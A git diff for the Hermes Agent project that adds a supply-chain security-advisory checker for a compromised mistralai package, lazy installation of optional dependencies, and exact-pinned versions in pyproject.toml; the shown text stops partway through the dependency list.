diff --git a/agent/anthropic_adapter.py b/agent/anthropic_adapter.py index b4ce2da99d1..3919c8565b2 100644 --- a/agent/anthropic_adapter.py +++ b/agent/anthropic_adapter.py @@ -35,6 +35,14 @@ def _get_anthropic_sdk(): """Return the ``anthropic`` SDK module, importing lazily. None if not installed.""" global _anthropic_sdk if _anthropic_sdk is ...: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("provider.anthropic", prompt=False) + except ImportError: + pass + except Exception: + # FeatureUnavailable — fall through to ImportError handling below + pass try: import anthropic as _sdk _anthropic_sdk = _sdk diff --git a/cli.py b/cli.py index 37f2a96b5a0..ea167b6b411 100644 --- a/cli.py +++ b/cli.py @@ -4214,12 +4214,34 @@ class HermesCLI: ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]") return False + def _show_security_advisories(self): + """Show a startup banner if any unacked security advisories match. + + Renders a single bold-red box on stderr (so piped stdout remains + clean) listing the worst hit and pointing at ``hermes doctor``. + Banner-cache rate-limits this to once per 24h per advisory; full + remediation lives behind ``hermes doctor`` so the banner stays + small. + """ + try: + from hermes_cli.security_advisories import ( + detect_compromised, + startup_banner, + ) + hits = detect_compromised() + banner = startup_banner(hits) + if banner: + # Print to stderr — keeps stdout clean for piped automation, + # and Rich's banner rendering already wrote to stdout above. + print(banner, file=sys.stderr, flush=True) + except Exception: + # Never let the security banner block startup. Failures are + # logged at DEBUG by the advisory module. + pass + def show_banner(self): """Display the welcome banner in Claude Code style.""" self.console.clear() - - # Get context length for display before branching so it remains - # available to the low-context warning logic in compact mode too. ctx_len = None if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'): ctx_len = self.agent.context_compressor.context_length @@ -11016,10 +11038,9 @@ class HermesCLI: pass self.show_banner() - - # One-line Honcho session indicator (TTY-only, not captured by agent). - # Only show when the user explicitly configured Honcho for Hermes - # (not auto-enabled from a stray HONCHO_API_KEY env var). + # Surface any active supply-chain security advisories right after the + # welcome banner. Quiet/single-query paths call this themselves. + self._show_security_advisories() # If resuming a session, load history and display it immediately # so the user has context before typing their first message. if self._resumed: @@ -13528,6 +13549,9 @@ def main( _query_label = query or ("[image attached]" if single_query_images else "") if _query_label: cli.console.print(f"[bold blue]Query:[/] {_query_label}") + # Surface security advisories before the agent runs — short + # banner, doesn't depend on the welcome banner being shown. + cli._show_security_advisories() cli.chat(query, images=single_query_images or None) cli._print_exit_summary() return diff --git a/gateway/platforms/discord.py b/gateway/platforms/discord.py index 5113f49f179..1817ece173d 100644 --- a/gateway/platforms/discord.py +++ b/gateway/platforms/discord.py @@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str: def check_discord_requirements() -> bool: - """Check if Discord dependencies are available.""" - return DISCORD_AVAILABLE + """Check if Discord dependencies are available. + + Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")`` + on first call if not present. After successful install, re-binds module + globals so ``DISCORD_AVAILABLE`` becomes True. + """ + global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands + if DISCORD_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.discord", prompt=False) + except Exception: + return False + try: + import discord as _discord + from discord import Message as _DM, Intents as _Intents + from discord.ext import commands as _commands + except ImportError: + return False + discord = _discord + DiscordMessage = _DM + Intents = _Intents + commands = _commands + DISCORD_AVAILABLE = True + return True def _build_allowed_mentions(): diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py index 8e937d7573f..e91a38ac6b1 100644 --- a/gateway/platforms/telegram.py +++ b/gateway/platforms/telegram.py @@ -103,8 +103,58 @@ _TELEGRAM_IMAGE_EXT_TO_MIME = { def check_telegram_requirements() -> bool: - """Check if Telegram dependencies are available.""" - return TELEGRAM_AVAILABLE + """Check if Telegram dependencies are available. + + If python-telegram-bot is missing, attempts to lazy-install it via + ``tools.lazy_deps.ensure("platform.telegram")``. After a successful + install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True + so the adapter's class-level type aliases get rebound. + """ + global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton + global InlineKeyboardMarkup, LinkPreviewOptions, Application + global CommandHandler, CallbackQueryHandler, TelegramMessageHandler + global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest + if TELEGRAM_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.telegram", prompt=False) + except Exception: + return False + try: + from telegram import Update as _Update, Bot as _Bot, Message as _Message + from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM + try: + from telegram import LinkPreviewOptions as _LPO + except ImportError: + _LPO = None + from telegram.ext import ( + Application as _App, CommandHandler as _CH, + CallbackQueryHandler as _CQH, + MessageHandler as _MH, + ContextTypes as _CT, filters as _filters, + ) + from telegram.constants import ParseMode as _PM, ChatType as _CtT + from telegram.request import HTTPXRequest as _HR + except ImportError: + return False + Update = _Update + Bot = _Bot + Message = _Message + InlineKeyboardButton = _IKB + InlineKeyboardMarkup = _IKM + LinkPreviewOptions = _LPO + Application = _App + CommandHandler = _CH + CallbackQueryHandler = _CQH + TelegramMessageHandler = _MH + ContextTypes = _CT + filters = _filters + ParseMode = _PM + ChatType = _CtT + HTTPXRequest = _HR + TELEGRAM_AVAILABLE = True + return True # Matches every character that MarkdownV2 requires to be backslash-escaped diff --git a/gateway/run.py b/gateway/run.py index 1da45e3f03f..559adae89bf 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -3275,6 +3275,30 @@ class GatewayRunner: write_runtime_status(gateway_state="starting", exit_reason=None) except Exception: pass + + # Log any active supply-chain security advisories. Operators see this + # in gateway.log and `hermes status` surfaces it; we do NOT block + # startup or surface it inline to user messages, since the gateway + # operator is the one who can act on it (uninstall the package, + # rotate credentials). See hermes_cli/security_advisories.py. + try: + from hermes_cli.security_advisories import ( + detect_compromised, + gateway_log_message, + ) + _adv_hits = detect_compromised() + _adv_msg = gateway_log_message(_adv_hits) + if _adv_msg: + logger.warning("%s", _adv_msg) + logger.warning( + "Run `hermes doctor` on the gateway host for full " + "remediation steps." + ) + except Exception: + logger.debug( + "security advisory check failed at gateway startup", + exc_info=True, + ) # Warn if no user allowlists are configured and open access is not opted in _builtin_allowed_vars = ( diff --git a/hermes_cli/config.py b/hermes_cli/config.py index 37fd0536cef..d7585dc3010 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -1332,6 +1332,21 @@ DEFAULT_CONFIG = { "domains": [], "shared_files": [], }, + # Acknowledged supply-chain security advisories. Each entry is the + # ID of an advisory the user has read and acted on (uninstalled the + # compromised package, rotated credentials). Acked advisories no + # longer trigger the startup banner. Add via `hermes doctor --ack + # `; remove by editing the list directly. See + # ``hermes_cli/security_advisories.py`` for the catalog. + "acked_advisories": [], + # Allow Hermes to lazy-install opt-in backend packages from PyPI + # the first time the user enables a backend that needs them + # (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as + # their TTS provider). Set to false to require explicit + # ``pip install`` for everything beyond the base set — appropriate + # for restricted networks, audited environments, or air-gapped + # systems where any runtime install is unacceptable. + "allow_lazy_installs": True, }, "cron": { diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index 13f58a8509f..529433902d5 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -296,19 +296,101 @@ def _build_apikey_providers_list() -> list: def run_doctor(args): """Run diagnostic checks.""" should_fix = getattr(args, 'fix', False) + ack_target = getattr(args, 'ack', None) # Doctor runs from the interactive CLI, so CLI-gated tool availability # checks (like cronjob management) should see the same context as `hermes`. os.environ.setdefault("HERMES_INTERACTIVE", "1") - + + # Handle `hermes doctor --ack ` as a fast path. Persist the ack and + # return without running the rest of the diagnostics — the user has + # already seen the advisory and just wants to silence it. + if ack_target: + from hermes_cli.security_advisories import ( + ADVISORIES, + ack_advisory, + ) + valid_ids = {a.id for a in ADVISORIES} + if ack_target not in valid_ids: + print(color( + f"Unknown advisory ID: {ack_target!r}. Known IDs: " + f"{', '.join(sorted(valid_ids)) or '(none)'}", + Colors.RED, + )) + sys.exit(2) + if ack_advisory(ack_target): + print(color( + f" ✓ Acknowledged advisory {ack_target}. " + f"It will no longer trigger startup banners.", + Colors.GREEN, + )) + else: + print(color( + f" ✗ Failed to persist ack for {ack_target}. " + f"Check ~/.hermes/config.yaml is writable.", + Colors.RED, + )) + sys.exit(1) + return + issues = [] manual_issues = [] # issues that can't be auto-fixed fixed_count = 0 - + print() print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN)) print(color("│ 🩺 Hermes Doctor │", Colors.CYAN)) print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN)) + + # ========================================================================= + # Check: Security advisories (RUNS FIRST — these are the most urgent) + # ========================================================================= + print() + print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD)) + try: + from hermes_cli.security_advisories import ( + detect_compromised, + filter_unacked, + full_remediation_text, + get_acked_ids, + ) + all_hits = detect_compromised() + fresh_hits = filter_unacked(all_hits) + if fresh_hits: + for hit in fresh_hits: + check_fail( + f"{hit.advisory.title}", + f"({hit.package}=={hit.installed_version})", + ) + # Print the full remediation block, indented under the + # check_fail header so it reads as a single section. + for line in full_remediation_text(hit): + if line: + print(f" {color(line, Colors.YELLOW)}") + else: + print() + # Funnel into the action list so the summary block surfaces it + # for users who scroll past the section. + manual_issues.append( + f"Resolve security advisory {hit.advisory.id}: " + f"uninstall {hit.package}=={hit.installed_version} and " + f"rotate credentials, then run " + f"`hermes doctor --ack {hit.advisory.id}`." + ) + # Acked-but-still-installed: show as informational so the user + # knows the package is still on disk after the ack. + acked_ids = get_acked_ids() + for h in all_hits: + if h.advisory.id in acked_ids: + check_warn( + f"{h.package}=={h.installed_version} still installed " + f"(advisory {h.advisory.id} acknowledged)", + ) + else: + check_ok("No active security advisories") + except Exception as e: + # Never let a bug in the advisory check block the rest of doctor. + check_warn(f"Security advisory check failed: {e}") # ========================================================================= # Check: Python version diff --git a/hermes_cli/main.py b/hermes_cli/main.py index 3c0ab4c442a..33f915a9e6b 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -10086,6 +10086,16 @@ def main(): doctor_parser.add_argument( "--fix", action="store_true", help="Attempt to fix issues automatically" ) + doctor_parser.add_argument( + "--ack", + metavar="ADVISORY_ID", + default=None, + help=( + "Acknowledge a security advisory by ID and exit. After ack, the " + "advisory will no longer trigger startup banners. Run `hermes " + "doctor` first to see active advisories and their IDs." + ), + ) doctor_parser.set_defaults(func=cmd_doctor) # ========================================================================= diff --git a/hermes_cli/security_advisories.py b/hermes_cli/security_advisories.py new file mode 100644 index 00000000000..311383eab4d --- /dev/null +++ b/hermes_cli/security_advisories.py @@ -0,0 +1,451 @@ +""" +Security advisory checker for Hermes Agent. + +Detects known-compromised Python packages installed in the active venv +(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that +poisoned ``mistralai 2.4.6`` on PyPI) and surfaces remediation guidance to +the user. + +Design goals: + +- **Cheap.** A single ``importlib.metadata.version()`` call per advisory + package. Safe to run on every CLI startup. +- **Loud when it matters, silent otherwise.** If no compromised package is + installed, the user sees nothing. +- **Acknowledgeable.** Once the user has read and acted on an advisory they + can dismiss it via ``hermes doctor --ack ``; the ack is persisted to + ``config.security.acked_advisories`` and survives restart. +- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``; + adding a new compromised version is a one-line edit. No code changes + needed when the next worm hits. + +The check is invoked from three places: + +1. ``hermes doctor`` (and ``hermes doctor --ack ``) +2. CLI startup banner (one short line, then full guidance via + ``hermes doctor``) +3. Gateway startup (logged to gateway.log; first interactive message gets + a one-line operator banner) + +This module is intentionally dependency-free beyond the stdlib so it can +run in environments where the rest of Hermes failed to import. +""" + +from __future__ import annotations + +import logging +import os +import sys +from dataclasses import dataclass, field +from pathlib import Path +from typing import Iterable, Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Advisory catalog +# +# Each advisory is a community-facing security warning about one or more +# specific package versions that are known to be compromised. To add a new +# advisory: +# +# 1. Append a new ``Advisory`` to ``ADVISORIES`` below +# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)`` +# — version strings must match what ``importlib.metadata.version()`` +# returns. Use an empty frozenset to flag *any installed version* +# (rare; only when the maintainer namespace itself is compromised). +# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste. +# +# Do NOT remove old advisories. Once an advisory ships, leave it in place so +# users running an older release with the compromised package still get +# warned. Mark superseded ones via ``superseded_by`` if needed. +# ============================================================================= + + +@dataclass(frozen=True) +class Advisory: + """One security advisory entry. + + Attributes: + id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``). + Lowercase-hyphen, never reused. + title: one-line headline shown in banners. + summary: 1-3 sentence description of what was compromised and how. + url: reference URL (Socket advisory, GitHub advisory, PyPI page). + compromised: tuple of ``(package_name, frozenset_of_versions)`` + pairs. Empty frozenset means "any version of this package is + considered suspect" — use sparingly. + remediation: ordered list of steps the user should take. First step + should be the uninstall command; subsequent steps the credential + audit / rotation guidance. + published: ISO date string for sort order. + """ + + id: str + title: str + summary: str + url: str + compromised: tuple[tuple[str, frozenset[str]], ...] + remediation: tuple[str, ...] + published: str = "" + severity: str = "high" # low / medium / high / critical + + +ADVISORIES: tuple[Advisory, ...] = ( + Advisory( + id="shai-hulud-2026-05", + title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI", + summary=( + "PyPI quarantined the mistralai package on 2026-05-12 after a " + "malicious 2.4.6 release. The worm steals credentials from " + "environment variables and credential files (~/.npmrc, ~/.pypirc, " + "~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils " + "them to a hardcoded webhook. If you ran any Python process that " + "imported mistralai 2.4.6 — including hermes when configured " + "with provider=mistral for TTS or STT — assume those credentials " + "are exposed." + ), + url="https://socket.dev/blog/mini-shai-hulud-worm-pypi", + compromised=( + ("mistralai", frozenset({"2.4.6"})), + ), + remediation=( + "Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)", + "Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, " + "Nous, GitHub, AWS, Google, Mistral, etc.).", + "Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, " + "and any other credential files for tokens that may have been read.", + "Check GitHub for unexpected new SSH keys, deploy keys, or webhook " + "additions on repos you have admin on.", + "After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss " + "this warning.", + ), + published="2026-05-12", + severity="critical", + ), +) + + +# ============================================================================= +# Detection +# ============================================================================= + + +@dataclass(frozen=True) +class AdvisoryHit: + """One package-version match against an advisory.""" + + advisory: Advisory + package: str + installed_version: str + + +def _installed_version(pkg_name: str) -> Optional[str]: + """Return the installed version of ``pkg_name``, or None if not installed. + + Uses ``importlib.metadata`` so we don't depend on pip being importable + inside the active venv (uv-created venvs may lack pip). + """ + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive. + return None + try: + return version(pkg_name) + except PackageNotFoundError: + return None + except Exception: + # Some metadata corruption modes raise ValueError or OSError. Don't + # let advisory checking crash the CLI startup path. + logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True) + return None + + +def detect_compromised( + advisories: Iterable[Advisory] = ADVISORIES, +) -> list[AdvisoryHit]: + """Scan installed packages and return all advisory hits. + + A "hit" means an advisory's listed package is installed AND the version + is in the compromised set (or the compromised set is empty, meaning + *any* version is suspect). + """ + hits: list[AdvisoryHit] = [] + for advisory in advisories: + for pkg_name, bad_versions in advisory.compromised: + installed = _installed_version(pkg_name) + if installed is None: + continue + if not bad_versions or installed in bad_versions: + hits.append(AdvisoryHit( + advisory=advisory, + package=pkg_name, + installed_version=installed, + )) + return hits + + +# ============================================================================= +# Acknowledgement persistence +# +# Acks live under ``security.acked_advisories`` in config.yaml as a list of +# advisory IDs. The list is the only state — no per-host data, no +# timestamps, no fingerprints. Users sharing a config.yaml across machines +# (rare but possible) get the same dismissal everywhere, which is the +# correct behavior for a global advisory. +# ============================================================================= + + +def get_acked_ids() -> set[str]: + """Return the set of advisory IDs the user has dismissed. + + Returns an empty set if config can't be loaded (don't block startup + just because config is broken — the advisory will keep firing until + config is repaired, which is fine). + """ + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + logger.debug("Could not load config for advisory acks", exc_info=True) + return set() + sec = cfg.get("security") or {} + raw = sec.get("acked_advisories") or [] + if not isinstance(raw, list): + return set() + return {str(x).strip() for x in raw if str(x).strip()} + + +def ack_advisory(advisory_id: str) -> bool: + """Persist an ack for ``advisory_id``. Returns True on success. + + Idempotent — acking an already-acked ID is a no-op. + """ + advisory_id = advisory_id.strip() + if not advisory_id: + return False + try: + from hermes_cli.config import load_config, save_config + except Exception: + logger.warning("Could not import config module to persist ack") + return False + try: + cfg = load_config() + sec = cfg.setdefault("security", {}) + existing = sec.get("acked_advisories") or [] + if not isinstance(existing, list): + existing = [] + if advisory_id not in existing: + existing.append(advisory_id) + sec["acked_advisories"] = existing + save_config(cfg) + return True + except Exception: + logger.exception("Failed to persist advisory ack for %s", advisory_id) + return False + + +def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]: + """Return only hits whose advisories the user has not dismissed.""" + if not hits: + return [] + acked = get_acked_ids() + return [h for h in hits if h.advisory.id not in acked] + + +# ============================================================================= +# Rendering helpers +# ============================================================================= + + +def _term_supports_color() -> bool: + if os.environ.get("NO_COLOR"): + return False + if not sys.stdout.isatty(): + return False + return True + + +def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]: + """Return 1-3 short lines suitable for a startup banner. + + Caller is responsible for color/styling. Always names the worst hit + explicitly so the user knows what's wrong without running doctor. + """ + if not hits: + return [] + primary = hits[0] + lines = [ + f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}", + f" Detected: {primary.package}=={primary.installed_version}", + " Run 'hermes doctor' for remediation steps.", + ] + if len(hits) > 1: + lines.insert(1, f" ({len(hits) - 1} additional advisor" + f"{'ies' if len(hits) > 2 else 'y'} also active.)") + return lines + + +def full_remediation_text(hit: AdvisoryHit) -> list[str]: + """Return a multi-line block describing the advisory + remediation.""" + a = hit.advisory + lines = [ + f"=== {a.title} ===", + f"ID: {a.id} Severity: {a.severity} Published: {a.published}", + f"Detected: {hit.package}=={hit.installed_version}", + f"Reference: {a.url}", + "", + a.summary, + "", + "Remediation:", + ] + for i, step in enumerate(a.remediation, 1): + lines.append(f" {i}. {step}") + return lines + + +# ============================================================================= +# Startup-banner gating +# +# We do NOT want to hammer the user with the banner on every command. Once +# they've seen it inside a 24h window we cache that fact in +# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID: +# `` ``). +# +# Acked advisories never re-banner. Cached-but-not-acked advisories +# re-banner after 24h so the user doesn't fully forget. +# ============================================================================= + + +_BANNER_CACHE_FILE = "advisory_banner_seen" +_BANNER_REPEAT_HOURS = 24 + + +def _banner_cache_path() -> Optional[Path]: + try: + from hermes_constants import get_hermes_home + cache_dir = Path(get_hermes_home()) / "cache" + cache_dir.mkdir(parents=True, exist_ok=True) + return cache_dir / _BANNER_CACHE_FILE + except Exception: + return None + + +def _read_banner_cache() -> dict[str, float]: + p = _banner_cache_path() + if p is None or not p.exists(): + return {} + out: dict[str, float] = {} + try: + for line in p.read_text(encoding="utf-8").splitlines(): + line = line.strip() + if not line: + continue + parts = line.split(None, 1) + if len(parts) != 2: + continue + advisory_id, ts = parts + try: + out[advisory_id] = float(ts) + except ValueError: + continue + except Exception: + return {} + return out + + +def _write_banner_cache(seen: dict[str, float]) -> None: + p = _banner_cache_path() + if p is None: + return + try: + lines = [f"{aid} {ts}" for aid, ts in seen.items()] + p.write_text("\n".join(lines) + "\n", encoding="utf-8") + except Exception: + logger.debug("Could not write advisory banner cache", exc_info=True) + + +def hits_due_for_banner( + hits: list[AdvisoryHit], + *, + repeat_hours: int = _BANNER_REPEAT_HOURS, +) -> list[AdvisoryHit]: + """Return only hits whose banner is due (not acked, not recently shown). + + Side effect: stamps the banner cache for any hit that's about to be + shown. Callers should subsequently render the result. + """ + import time + + fresh = filter_unacked(hits) + if not fresh: + return [] + now = time.time() + cache = _read_banner_cache() + cutoff = now - (repeat_hours * 3600) + + due: list[AdvisoryHit] = [] + for hit in fresh: + last = cache.get(hit.advisory.id, 0.0) + if last < cutoff: + due.append(hit) + cache[hit.advisory.id] = now + if due: + _write_banner_cache(cache) + return due + + +# ============================================================================= +# Public entry points used by doctor / CLI / gateway +# ============================================================================= + + +def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]: + """Render the security-advisory section for ``hermes doctor``. + + Returns ``(has_problems, lines)``. Caller is responsible for printing + with whatever color scheme it uses. + """ + fresh = filter_unacked(hits) + if not fresh: + return False, ["No active security advisories. ✓"] + + lines: list[str] = [] + for i, hit in enumerate(fresh): + if i: + lines.append("") + lines.extend(full_remediation_text(hit)) + return True, lines + + +def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a printable startup banner, or None if nothing is due. + + Updates the banner cache as a side effect (so the next call within + 24h returns None for the same hit). + """ + due = hits_due_for_banner(hits) + if not due: + return None + lines = short_banner_lines(due) + if _term_supports_color(): + red = "\x1b[1;31m" + reset = "\x1b[0m" + return red + "\n".join(lines) + reset + return "\n".join(lines) + + +def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a one-line log message for gateway operators, or None.""" + fresh = filter_unacked(hits) + if not fresh: + return None + if len(fresh) == 1: + h = fresh[0] + return (f"Security advisory [{h.advisory.id}] active: " + f"{h.package}=={h.installed_version} matches {h.advisory.title}. " + f"See {h.advisory.url}") + return (f"{len(fresh)} security advisories active " + f"(IDs: {', '.join(h.advisory.id for h in fresh)}). " + f"Run `hermes doctor` on the gateway host for details.") diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 2a70ee26398..f1d14ebf48b 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -56,10 +56,22 @@ try: from fastapi.staticfiles import StaticFiles from pydantic import BaseModel except ImportError: - raise SystemExit( - "Web UI requires fastapi and uvicorn.\n" - f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" - ) + # First try lazy-installing the dashboard extras. Only the user actually + # running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps + # them out of every other install path. After install, re-import. + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tool.dashboard", prompt=False) + from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect + from fastapi.middleware.cors import CORSMiddleware + from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response + from fastapi.staticfiles import StaticFiles + from pydantic import BaseModel + except Exception: + raise SystemExit( + "Web UI requires fastapi and uvicorn.\n" + f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" + ) WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist" _log = logging.getLogger(__name__) diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index 20772844f16..3a42a320453 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -875,6 +875,13 @@ class HindsightMemoryProvider(MemoryProvider): "Hindsight local runtime is unavailable" + (f": {reason}" if reason else "") ) + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("memory.hindsight", prompt=False) + except ImportError: + pass + except Exception as _e: + raise ImportError(str(_e)) from hindsight import HindsightEmbedded HindsightEmbedded.__del__ = lambda self: None llm_provider = self._config.get("llm_provider", "") diff --git a/plugins/memory/honcho/client.py b/plugins/memory/honcho/client.py index 7210c6071e8..612bcd239ce 100644 --- a/plugins/memory/honcho/client.py +++ b/plugins/memory/honcho/client.py @@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho: "For local instances, set HONCHO_BASE_URL instead." ) + # Lazy-install the honcho SDK on demand. ensure() honors + # security.allow_lazy_installs (default true). On failure we surface + # the original ImportError-shape message so existing callers still get + # the "go run hermes honcho setup" hint they used to. + try: + from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure + _lazy_ensure("memory.honcho", prompt=False) + except ImportError: + # lazy_deps module missing — fall through to the raw import below. + pass + except Exception: + # FeatureUnavailable or unexpected error. Don't crash here; let the + # actual import attempt produce the canonical error message. + pass + try: from honcho import Honcho except ImportError: raise ImportError( "honcho-ai is required for Honcho integration. " - "Install it with: pip install honcho-ai" + "Install it with: pip install honcho-ai " + "(or run `hermes honcho setup` to configure)." ) # Allow config.yaml honcho.base_url to override the SDK's environment diff --git a/pyproject.toml b/pyproject.toml index 5d164b6535f..b01a2466d64 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -11,84 +11,124 @@ requires-python = ">=3.11" authors = [{ name = "Nous Research" }] license = { text = "MIT" } dependencies = [ - # Core — pinned to known-good ranges to limit supply chain attack surface - "openai>=2.21.0,<3", - "anthropic>=0.39.0,<1", - "python-dotenv>=1.2.1,<2", - "fire>=0.7.1,<1", - "httpx[socks]>=0.28.1,<1", - "rich>=14.3.3,<15", - "tenacity>=9.1.4,<10", - "pyyaml>=6.0.2,<7", - "ruamel.yaml>=0.18.16,<0.19", - "requests>=2.33.0,<3", # CVE-2026-25645 - "jinja2>=3.1.5,<4", - "pydantic>=2.12.5,<3", + # Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges). + # Rationale: ranges allow PyPI to ship a fresh version of a transitive + # at any time without a code review on our side. Exact pins mean the + # only way a new package version reaches a user is via an intentional + # update on our end (bump the pin in this file, regenerate uv.lock). + # This was tightened on 2026-05-12 in response to the Mini Shai-Hulud + # worm hitting mistralai 2.4.6 on PyPI; if that release had been + # captured by `mistralai>=2.3.0,<3` rather than an exact pin, every + # install in the hours before the quarantine would have pulled it. + # See website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md. + # + # When updating: bump the version below AND regenerate uv.lock with + # `uv lock` so the transitive resolution stays consistent. Don't + # introduce ranges back without a written justification. + # + # Scope rule: only packages used by EVERY hermes session belong here. + # Anything that's provider-specific (`anthropic`, `firecrawl-py`, + # `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an + # extra and gets lazy-installed via `tools/lazy_deps.py` when the + # user picks that backend. Smaller `dependencies` = smaller blast + # radius for the next supply-chain attack. + "openai==2.24.0", + "python-dotenv==1.2.1", + "fire==0.7.1", + "httpx[socks]==0.28.1", + "rich==14.3.3", + "tenacity==9.1.4", + "pyyaml==6.0.3", + "ruamel.yaml==0.18.17", + "requests==2.33.0", # CVE-2026-25645 + "jinja2==3.1.6", + "pydantic==2.12.5", # Interactive CLI (prompt_toolkit is used directly by cli.py) - "prompt_toolkit>=3.0.52,<4", - # Tools - "exa-py>=2.9.0,<3", - "firecrawl-py>=4.16.0,<5", - "parallel-web>=0.4.2,<1", - "fal-client>=0.13.1,<1", + "prompt_toolkit==3.0.52", # Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter). - "croniter>=6.0.0,<7", - # Text-to-speech (Edge TTS is free, no API key needed) - "edge-tts>=7.2.7,<8", + "croniter==6.0.0", # Skills Hub (GitHub App JWT auth — optional, only needed for bot identity) - "PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597 + "PyJWT[crypto]==2.12.1", # CVE-2026-32597 # Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo`` # (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone # out of the box. ``tzdata`` ships the Olson database as a data package # Python resolves automatically. No-op on Linux/macOS (which have # /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24). - "tzdata>=2023.3; sys_platform == 'win32'", + "tzdata==2025.3; sys_platform == 'win32'", # Cross-platform process / PID management. `psutil` is the canonical # answer for "is this PID alive" and process-tree walking across Linux, # macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)` # (which is a silent killer on Windows — see CONTRIBUTING.md) and # `os.killpg` (which doesn't exist on Windows). - "psutil>=5.9.0,<8", + "psutil==7.2.2", ] [project.optional-dependencies] -modal = ["modal>=1.0.0,<2"] -daytona = ["daytona>=0.148.0,<1"] -vercel = ["vercel>=0.5.7,<0.6.0"] -hindsight = ["hindsight-client>=0.4.22"] -dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"] -messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"] +# Native Anthropic provider — only needed when provider=anthropic (not via +# OpenRouter or other aggregators). +anthropic = ["anthropic==0.86.0"] +# Web search backends — each only loaded when the user picks it as their +# search provider (configured via `hermes tools` or config.yaml). +exa = ["exa-py==2.10.2"] +firecrawl = ["firecrawl-py==4.17.0"] +parallel-web = ["parallel-web==0.4.2"] +# Image generation backends +fal = ["fal-client==0.13.1"] +# Edge TTS — default TTS provider but still optional (users can pick +# ElevenLabs / OpenAI / MiniMax instead). +edge-tts = ["edge-tts==7.2.7"] +modal = ["modal==1.3.4"] +daytona = ["daytona==0.155.0"] +vercel = ["vercel==0.5.7"] +hindsight = ["hindsight-client==0.6.1"] +dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", 